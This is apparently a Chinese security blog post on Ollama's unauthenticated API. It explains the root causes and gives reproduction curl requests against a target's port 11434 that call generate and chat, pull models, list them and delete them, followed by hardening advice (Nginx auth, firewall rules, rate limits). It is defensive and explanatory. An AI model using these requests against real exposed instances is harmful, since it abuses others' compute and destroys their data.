Ollama 是一个开源的大语言模型(LLM)运行环境和工具集,旨在帮助开发者轻松部署、管理和使用模型(如 DeepSeek 等)。 Ollama 存在未授权访问漏洞,攻击者可以直接访问敏感接口进行读取、下载或删除私有模型文件,或滥用模型推理资源等高危操作。

根据 Ollama 官方文档与库页面,目前支持的模型类型众多,可通过 CLI 或 Modelfile 定制使用:

  1. LLM 基础模型(tools & thinking)

  2. 多模态与视觉模型(vision)

  3. 嵌入与专用任务模型

    • nomic‑embed‑textbge‑m3snowflake, all‑minilm 等适用于嵌入计算任务

    • StarCoder2DeepSeek‑coder‑v2 等针对代码生成任务byteplus.com+5ollama.com+5github.com+5

  4. 精简小型模型与混合专家模型


如何查看本地可用模型

  • 使用 ollama list 命令,可列出当前本地已下载模型reddit.com+14medium.com+14github.com+14

  • 使用 ollama show <model> 查看模型详细信息与支持功能。

  • 若需要查看 Ollama 官方库的可用模型,可访问 [ollama.com/library] 并结合 ollama pull 拉取指定模型(例如 ollama pull llama3.2github.com+1ollama.readthedocs.io+1

漏洞概览

检测方法

  1. 主动检测

    • 使用命令:

      sudo netstat -tulpn | grep 11434 
  2. 自动化工具扫描

漏洞成因分解

1. 默认监听无认证接口

Ollama 默认以 127.0.0.1:11434 监听本地接口提供服务,但:

  • 并没有内置任何身份验证机制(如 API Key、Token、Basic Auth 等);

  • 所有 REST API 接口(如 /api/generate/api/pull/api/chat 等)完全信任任何来源的调用请求

这意味着:只要网络连通,攻击者即可直接调用全部敏感接口。


2. 用户配置错误(监听地址改为 0.0.0.0)

Ollama 的启动支持环境变量配置监听地址:

export OLLAMA_HOST=0.0.0.0

很多用户为了远程访问、前端调用、API 调试等方便,将其暴露为 0.0.0.0 或公网 IP,但:

  • 未设置认证;

  • 未限制访问来源;

  • 通常未设置反向代理或安全网关。

导致服务从“只限本地访问”变成了“暴露到整个公网”,完全敞开。


3. Ollama 没有认证机制支持

Ollama 目前版本存在结构性设计缺陷:

  • 没有用户体系;

  • 没有 Session、Cookie 或 Token 校验机制;

  • 不支持 API Key、OAuth、JWT 等现代认证手段;

  • 无法通过 Ollama 自身配置做到任何形式的访问控制

这导致一旦端口暴露,服务即陷入“裸奔”状态


4. 部署环境缺少最小化信任边界

在实际部署过程中,很多用户未设置:

  • 防火墙(如 iptables、ufw)限制 11434 端口来源;

  • 云服务平台(如 AWS、阿里云)中的安全组规则;

  • 反向代理访问控制(如 Nginx + Basic Auth);

  • 监控与告警机制(如请求速率、API 频次告警);

这让攻击者可以使用自动化工具横扫整个互联网,找到暴露的 Ollama 实例进行操控。

漏洞复现

一、环境准备

1. 安装 Ollama(如 Ubuntu / macOS)

# macOS brew install ollama # Ubuntu / Debian curl -fsSL https://ollama.com/install.sh | sh

2. 启动服务并监听公网(复现核心点)

默认 Ollama 仅监听 127.0.0.1:11434,为了复现漏洞,需要人为设置监听 0.0.0.0(所有网卡):

export OLLAMA_HOST=0.0.0.0 ollama serve &

注意:此时本机的 11434 端口将向整个局域网甚至公网开放,处于“裸奔”状态。


3. 拉取模型供测试使用

ollama pull llama3

此步骤将下载一个基础模型(如 Meta 的 LLaMA3),后续攻击者即可直接调用该模型进行交互。


二、漏洞复现步骤

你现在可以模拟远程攻击者行为,例如从另一台主机访问:

1. 未授权调用 /api/generate 接口

curl -X POST http://<目标IP>:11434/api/generate \ -H "Content-Type: application/json" \ -d '{ "model": "llama3", "prompt": "请介绍下你自己。", "stream": false }'

预期结果:服务返回模型生成内容,说明接口被完全绕过,无需认证。


2. 未授权调用 /api/chat 接口

curl -X POST http://<目标IP>:11434/api/chat \ -H "Content-Type: application/json" \ -d '{ "model": "llama3", "messages": [{"role": "user", "content": "告诉我某个企业的信息。"}], "stream": false }'

模拟上下文对话,可用于提取敏感信息或构造 prompt injection。


3. 利用 /api/pull 拉取任意模型

curl -X POST http://<目标IP>:11434/api/pull \ -H "Content-Type: application/json" \ -d '{"name": "mistral"}'

 若攻击者传入恶意构造的模型名(可伪造远程 URL、嵌入恶意行为),可触发代码侧信任链攻击(尚需配合模型验证绕过)。

 4. 查看所有已加载模型

curl http://<目标IP>:11434/api/tags

获取当前目标 Ollama 实例中可用的模型标签,配合 /api/delete 可构成 DoS 攻击:

curl -X DELETE http://<目标IP>:11434/api/delete \ -H "Content-Type: application/json" \ -d '{"name": "llama3"}'

修复建议

一、【官方开发者层面】修复建议

这是最关键的根因解决层,建议 Ollama 后续版本做如下改进:

1. 引入认证机制

  • 支持 API Key(通过环境变量或配置文件设置)

  • 支持 HTTP Basic Auth、JWT、OAuth 等标准认证方式

  • 添加权限角色(如只读 / 只写 / 管理员)

2. 默认强制绑定本地接口

  • 默认强制绑定 127.0.0.1,禁止监听 0.0.0.0,除非显式设置

  • 若监听 0.0.0.0,必须提示高风险警告

3. 接口访问日志与告警

  • 对敏感接口如 /api/pull/api/delete/api/chat 开启请求日志

  • 添加访问速率限制、异常访问告警功能

4. 配置文件安全预设模板

  • 提供 secure.conf 配置模板,引导用户配置身份验证和监听地址


二、【运维部署者层面】修复建议

如果你是安全运维、DevOps、平台工程师,建议立即采取以下加固措施:

1. 禁止监听公网地址

  • 推荐配置方式:

    export OLLAMA_HOST=127.0.0.1
  • 或在 systemd 服务文件中设置:

    Environment="OLLAMA_HOST=127.0.0.1"

2. 使用反向代理加认证

通过 Nginx / Caddy 等反向代理添加认证层:

Nginx 示例:
server { listen 80; server_name your-domain.com; location / { proxy_pass http://localhost:11434; auth_basic "Restricted"; auth_basic_user_file /etc/nginx/.htpasswd; } }

.htpasswd 可使用 htpasswd 工具生成)


3. 部署防火墙/安全组规则

  • 本地防火墙(如 iptables / ufw)

    sudo ufw allow from 192.168.1.0/24 to any port 11434 sudo ufw deny 11434/tcp
  • 云服务安全组(如 AWS、阿里云)

    • 限制端口 11434 仅允许公司内网或白名单 IP 访问

    • 禁止 0.0.0.0/0 的全公网访问


4. 对敏感接口设置访问频率限制

使用 Nginx 的 limit_req_zone 模块:

limit_req_zone $binary_remote_addr zone=api_limit:10m rate=1r/s; location /api/ { limit_req zone=api_limit burst=5; proxy_pass http://localhost:11434; }
Logo

中国智能体开发者社区,聚焦智能体与大模型开发,提供前沿资讯、实用工具链、开源项目及行业案例。通过技术沙龙、开发者大赛等活动,促进经验交流与协作,助力开发者快速构建创新智能应用。

更多推荐